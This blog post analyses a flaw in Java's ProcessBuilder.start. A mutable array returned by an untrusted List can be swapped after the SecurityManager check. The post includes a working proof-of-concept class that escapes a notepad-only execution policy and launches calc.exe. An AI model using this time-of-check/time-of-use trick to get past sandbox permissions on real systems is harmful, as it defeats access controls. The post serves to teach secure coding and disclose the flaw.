Defensive CopyingSun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation.
Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.
ProcessBuilderjava.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the
start method to execute the process.
The
start method is defined as follows:
(EDIT: Fixed syntax highlighter glitch from line 449)
435 public Process start() throws IOException {
436 // Must convert to array first -- a malicious user-supplied
437 // list might try to circumvent the security check.
438 String[] cmdarray = command.toArray(new String[command.size()]);
439 for (String arg : cmdarray)
440 if (arg == null)
441 throw new NullPointerException();
442 // Throws IndexOutOfBoundsException if command is empty
443 String prog = cmdarray[0];
444
445 SecurityManager security = System.getSecurityManager();
446 if (security != null)
447 security.checkExec(prog);
448
449 String dir = directory == null ? null : directory.toString();
450
451 try {
452 return ProcessImpl.start(cmdarray,
453 environment,
454 dir,
455 redirectErrorStream);
456 } catch (IOException e) {
457 // It's much easier for us to create a high-quality error
458 // message than the low-level C code which found the problem.
459 throw new IOException(
460 "Cannot run program \"" + prog + "\""
461 + (dir == null
462 + ": " + e.getMessage(),
463 e);
464 }
465 }
The interesting bit is this:
436 // Must convert to array first -- a malicious user-supplied437 // list might try to circumvent the security check.438 String[] cmdarray = command.toArray(new String[command.size()]);At first glance it might seem like the work of a security conscious programmer.
But quoting fictional Bob, from
my previous post on immutability:
Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.
And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the
directory field.
So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".
ExampleLet's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):
grant {
permission java.io.FilePermission "C:/windows/system32/notepad.exe", "execute";
};
To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:
-Djava.security.manager -Djava.security.policy=notepad.policy
In order to test it, try executing calc.exe:
001
002
003 public class PBCalc {
004 public static void main(String[] args) throws Exception {
005 ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/calc.exe");
006 pb.start();
007 }
008 }
If the security manager and our policy have been successfully configured that should result in:
Exception in thread "main" java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/calc.exe execute)
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)
at java.security.AccessController.checkPermission(AccessController.java:546)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
at java.lang.SecurityManager.checkExec(SecurityManager.java:779)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:447)
at PBCalc.main(PBCalc.java:6)
Executing notepad.exe should work ok:
001
002
003 public class PBNotepad {
004 public static void main(String[] args) throws Exception {
005 ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/notepad.exe");
006 pb.start();
007 }
008 }
And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.
001 import java.io.File;
002 import java.util.ArrayList;
003 import java.util.List;
004
005 public class PBMutable {
006 public static void main(String[] args) throws Exception {
007 final String[] str = {"C:/windows/system32/notepad.exe"};
008 List list = new ArrayList() {
009 public Object[] toArray(Object[] a) {
010 return str;
011 }
012 };
013
014 ProcessBuilder pb = new ProcessBuilder(list);
015 pb.directory(new File(".") {
016 public String toString() {
017 str[0] = "calc.exe";
018 return super.toString();
019 }
020 });
021
022 pb.start();
023 }
024 }
FinallyThis isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.
